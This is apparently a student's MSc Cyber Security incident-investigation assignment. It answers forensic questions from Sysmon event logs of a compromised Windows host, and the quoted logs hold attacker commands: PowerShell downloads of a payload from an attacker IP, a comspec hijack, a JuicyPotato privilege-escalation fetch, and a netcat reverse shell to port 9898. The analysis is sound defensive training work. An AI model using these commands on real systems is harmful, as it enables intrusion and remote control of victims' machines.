

# Assignment: Investigating an Incident - Real World

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**Sem:** 2

**Subject:** IRDF

**Course:** MSc Cyber Security

## 1. Which file granted the attacker access?

"CommandLine": "powershell -c INvoke-WebRequest -Uri  
http://192.168.1.11:6969/supply.exe -OutFile C:\\Windows\\Temp\\supply.exe",

```
{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "Contents": "[ZoneTransfer] ZoneId=3 HostUrl=http://192.168.1.11:6969/updater.hta ",
      "CreationUtcTime": "2021-05-07 12:20:20.107",
      "Hash": "MD5=C0DA94151389A6C0E2375D8C168CEEEE, SHA256=7E97F3C2733B115878BCA160FC2F0569F6A27D64EEBF4F6ADC580A037468EA19, IMPHASH=00000000000000000000000000000000",
      "Image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
      "ProcessGuid": "747F3D96-3086-6095-CB04-000000001D00",
      "ProcessId": 3704,
      "RuleName": "-",
      "TargetFilename": "C:\\Users\\IEUser\\Downloads\\updater.hta:Zone.Identifier",
      "UtcTime": "2021-05-07 12:20:23.219"
    },
    "System": {
      "Channel": "Microsoft-Windows-Sysmon/Operational",
      "Computer": "MSEDGWIN10",
      "Correlation": null,
      "EventID": 15,
      "EventRecordID": 1509,
      "Execution": {
        "#attributes": {
          "ProcessID": 4224,
          "ThreadID": 7088
        }
      }
    }
  },
}
```

```
{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "CommandLine": "powershell -c INvoke-WebRequest -Uri http://192.168.1.11:6969/supply.exe -OutFile C:\\Windows\\Temp\\supply.exe",
      "Company": "Microsoft Corporation",
      "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
      "Description": "Windows PowerShell",
      "FileVersion": "10.0.17763.1 (WinBuild.160101.0800)",
      "Hashes": "MD5=83767E180B29B51A804A9E312D0ED99C, SHA256=1EE3D7C80D075D64F97D04D036E58043F2F6BC959C87CD580A6D53B96896A0F, IMPHASH=D1A922C94A1F407CB28BCAD033CED7A",
      "Image": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
      "IntegrityLevel": "Medium",
      "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
      "LogonId": "0xf1377",
      "OriginalFileName": "PowerShell.EXE",
      "ParentCommandLine": "C:\\Windows\\system32\\cmd.exe",
      "ParentImage": "C:\\Windows\\SysWOW64\\cmd.exe",
      "ParentProcessGuid": "747F3D96-3099-6095-D204-000000001D00",
      "ParentProcessId": 6844,
      "ProcessGuid": "747F3D96-30CC-6095-D804-000000001D00",
      "ProcessId": 6772,
      "Product": "Microsoft Windows Operating System",
      "RuleName": "-",
      "TerminalSessionId": 1,
      "User": "MSEDGWIN10\\IEUser",
      "UtcTime": "2021-05-07 12:21:32.998"
    },
  },
}
```

## 2. Which PowerShell cmdlet is employed for malware file retrieval, and what is the associated port?

"CommandLine": "powershell -c INvoke-WebRequest -Uri  
http://192.168.1.11:6969/supply.exe -OutFile C:\\Windows\\Temp\\supply.exe

```
},
  "EventData": {
    "CommandLine": "powershell -c INvoke-WebRequest -Uri http://192.168.1.11:6969/supply.exe -OutFile C:\\Windows\\Temp\\supply.exe",
    "Company": "Microsoft Corporation",
    "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
    "Description": "Windows PowerShell",
    "FileVersion": "10.0.17763.1 (WinBuild.160101.0800)",
    "Hashes": "MD5=83767E180B29B51A804A9E312D0ED99C, SHA256=1EE3D7C80D075D64F97D04D036E58043F2F6BC959C87CD580A6D53B96896A0F, IMPHASH=D1A922C94A1F407CB28BCAD033CED7A",
    "Image": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
    "IntegrityLevel": "Medium",
    "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
    "LogonId": "0xf1377",
    "OriginalFileName": "PowerShell.EXE",
    "ParentCommandLine": "C:\\Windows\\system32\\cmd.exe",
    "ParentImage": "C:\\Windows\\SysWOW64\\cmd.exe",
    "ParentProcessGuid": "747F3D96-3099-6095-D204-000000001D00",
    "ParentProcessId": 6844,
    "ProcessGuid": "747F3D96-30CC-6095-D804-000000001D00",
    "ProcessId": 6772,
    "Product": "Microsoft Windows Operating System",
    "RuleName": "-",
    "TerminalSessionId": 1,
    "User": "MSEDGWIN10\\IEUser",
    "UtcTime": "2021-05-07 12:21:32.998"
  },
}
```

### 3. What's the identifier of the environment variable established by the attacker?

"CommandLine": "cmd \\c set comspec=C:\\windows\\temp\\supply.exe"

```
{
  "Event": {
    "#Attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "CommandLine": "cmd \\c set comspec=C:\\windows\\temp\\supply.exe",
      "Company": "Microsoft Corporation",
      "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
      "Description": "Windows Command Processor",
      "FileVersion": "10.0.17763.1697 (WinBuild.160101.0800)",
      "Hashes": "MD5=0B126F10E717530C29210C090927A3,SHA256=B94D1C553C7EF81DF040068E59120EB0A8F67AEC1A787A2B6B537309CBAF8CC4,IMPHASH=392B4D6B1B1D1DADC1F06444DF258188A",
      "Image": "C:\\Windows\\SysWOW64\\cmd.exe",
      "IntegrityLevel": "Medium",
      "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
      "LogonId": "0xf1377",
      "OriginalFileName": "Cmd.Exe",
      "ParentCommandLine": "C:\\Windows\\system32\\cmd.exe",
      "ParentImage": "C:\\Windows\\SysWOW64\\cmd.exe",
      "ParentProcessGuid": "747F3D96-3AED-6095-D306-000000001D00",
      "ParentProcessId": 9572,
      "ProcessGuid": "747F3D96-3CC7-6095-E606-000000001D00",
      "ProcessId": 8072,
      "Product": "Microsoft Windows Operating System",
      "RuleName": "-",
      "TerminalSessionId": 1,
      "User": "MSEDGWIN10\\IEUser",
      "UtcTime": "2021-05-07 12:21:43.851"
    },
  },
}
```

### 4. Which process serves as a Living Off the Land Binary (LOLBIN) for running malicious commands?

```
{
  "Event": {
    "#Attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "CommandLine": "ftp",
      "Company": "Microsoft Corporation",
      "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
      "Description": "File Transfer Program",
      "FileVersion": "10.0.17763.1 (WinBuild.160101.0800)",
      "Hashes": "MD5=F0707986208091066AFD2AB0A73D1693,SHA256=BE279F10D7FF4C18D69724EF0EB04C91D8A34AAC00B610E638B000991DFB8B02,IMPHASH=F76AC4558B3971C0CB2A43FDCD1FF525",
      "Image": "C:\\Windows\\SysWOW64\\ftp.exe",
      "IntegrityLevel": "Medium",
      "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
      "LogonId": "0xf1377",
      "OriginalFileName": "ftp.exe",
      "ParentCommandLine": "cmd \\c set comspec=C:\\windows\\temp\\supply.exe",
      "ParentImage": "C:\\Windows\\SysWOW64\\cmd.exe",
      "ParentProcessGuid": "747F3D96-3099-6095-D204-000000001D00",
      "ParentProcessId": 6844,
      "ProcessGuid": "747F3D96-310F-6095-D804-000000001D00",
      "ProcessId": 6120,
      "Product": "Microsoft Windows Operating System",
      "RuleName": "-",
      "TerminalSessionId": 1,
      "User": "MSEDGWIN10\\IEUser",
      "UtcTime": "2021-05-07 12:22:39.500"
    },
  },
}
```

## 5. The malware executed several identical commands simultaneously. What was the initial command executed?

```
{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "CommandLine": "C:\\windows\\temp\\supply.exe /c \"juicy.exe -l 9999 -p nc.exe -a \\\"192.168.1.11\" 9898 -e cmd.exe\\\" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}\\\"\\n",
      "Company": "-",
      "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
      "Description": "-",
      "FileVersion": "-",
      "Hashes": "MD5=E253708011D4153D7764EC1B3CBC019F,SHA256=B896CC820879C983970829D81667BB69DA2567E942E9228AB68D64EDF550A77A,IMPHASH=4DF47BD79D7FE79953651A03293F0E8F",
      "Image": "C:\\Windows\\Temp\\supply.exe",
      "IntegrityLevel": "Medium",
      "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
      "LogonId": "0xf1377",
      "OriginalFileName": "-",
      "ParentCommandLine": "C:\\windows\\temp\\supply.exe /c \"juicy.exe -l 9999 -p nc.exe -a \\\"192.168.1.11\" 9898 -e cmd.exe\\\" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}\\\"\\n",
      "ParentImage": "C:\\Windows\\Temp\\supply.exe",
      "ParentProcessGuid": "747F3D96-331C-6095-2306-000000001D00",
      "ParentProcessId": 9796,
      "ProcessGuid": "747F3D96-331C-6095-2406-000000001D00",
      "ProcessId": 9808,
      "Product": "-",
      "RuleName": "-",
      "TerminalSessionId": 1,
      "User": "MSEDGWIN10\\IEUser",
      "UtcTime": "2021-05-07 12:31:24.817"
    }
  }
}
```

## 6. By examining the dependency events related to the malware, can you discern the programming language in which the malware is authored?

```
{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "CreationUtcTime": "2021-05-07 12:22:41.254",
      "Image": "C:\\windows\\temp\\supply.exe",
      "ProcessGuid": "747F3D96-3111-6095-DC04-000000001D00",
      "ProcessId": 5392,
      "RuleName": "DLL",
      "TargetFilename": "C:\\Users\\IEUser\\AppData\\Local\\Temp\\_ME153922\\python27.dll",
      "UtcTime": "2021-05-07 12:22:41.254"
    },
    "System": {
      "Channel": "Microsoft-Windows-Sysmon/Operational",
      "Computer": "MSEDGWIN10",
      "Correlation": null,
      "EventID": 11,
      "EventRecordID": 1544,
      "Execution": {
        "#attributes": {
          "ProcessID": 4224,
          "ThreadID": 7088
        }
      },
      "Keywords": "0x8000000000000000",
      "Level": 4,
      "Opcode": 0
    }
  }
}
```

7. Following that, the malware proceeds to acquire a new file. Can you determine the complete URL from which the file is being downloaded?

```
{
  "EventData": {
    "CommandLine": "C:\\windows\\temp\\supply.exe /c \"powershell -c [Invoke-WebRequest -Uri https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -OutFile C:\\Windows\\Temp\\juice.exe]\\n\"",
    "Company": "-",
    "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
    "Description": "-",
    "FileVersion": "-",
    "Hashes": "MD5-E253708011D4153D7764EC1B3CBC019F, SHA256-B896CC820879C9839708290816678B69DA2567E942E9228AB68D64EDF550A77A, IMPHASH=4DF47BD79D7FE79953651A03293F0E8F",
    "Image": "C:\\Windows\\Temp\\supply.exe",
    "IntegrityLevel": "Medium",
    "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
    "LogonId": "0xf1377",
    "OriginalFileName": "-",
    "ParentCommandLine": "C:\\windows\\temp\\supply.exe",
    "ParentImage": "C:\\Windows\\Temp\\supply.exe",
    "ParentProcessGuid": "747F3D96-3289-6095-B005-000000001D00",
    "ParentProcessId": 8232,
    "ProcessGuid": "747F3D96-3289-6095-BE05-000000001D00",
    "ProcessId": 8244,
    "Product": "-",
    "RuleName": "-",
    "TerminalSessionId": 1,
    "User": "MSEDGWIN10\\IEUser",
    "UtcTime": "2021-05-07 12:28:57.679"
  },
  "System": {
    "Channel": "Microsoft-Windows-Sysmon/Operational"
```

8. Which port does the attacker endeavor to utilize for establishing a reverse shell?

```
{
  "Event": {
    "#Attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "CommandLine": "C:\\windows\\temp\\supply.exe /c \"juicy.exe -l 9999 -p nc.exe -a \"192.168.1.11 9898 -e cmd.exe\" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}\\n\"",
      "Company": "-",
      "CurrentDirectory": "C:\\Users\\IEUser\\Downloads\\",
      "Description": "-",
      "FileVersion": "-",
      "Hashes": "MD5-E253708011D4153D7764EC1B3CBC019F, SHA256-B896CC820879C9839708290816678B69DA2567E942E9228AB68D64EDF550A77A, IMPHASH=4DF47BD79D7FE79953651A03293F0E8F",
      "Image": "C:\\Windows\\Temp\\supply.exe",
      "IntegrityLevel": "Medium",
      "LogonGuid": "747F3D96-DE82-6094-7713-0F0000000000",
      "LogonId": "0xf1377",
      "OriginalFileName": "-",
      "ParentCommandLine": "C:\\windows\\temp\\supply.exe /c \"juicy.exe -l 9999 -p nc.exe -a \"192.168.1.11 9898 -e cmd.exe\" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}\\n\"",
      "ParentImage": "C:\\Windows\\Temp\\supply.exe",
      "ParentProcessGuid": "747F3D96-331C-6095-2306-000000001D00",
      "ParentProcessId": 9796,
      "ProcessGuid": "747F3D96-331C-6095-2406-000000001D00",
      "ProcessId": 9808,
      "Product": "-",
      "RuleName": "-",
      "TerminalSessionId": 1,
      "User": "MSEDGWIN10\\IEUser",
      "UtcTime": "2021-05-07 12:31:24.817"
    },
    "System": {
      "Channel": "Microsoft-Windows-Sysmon/Operational"
```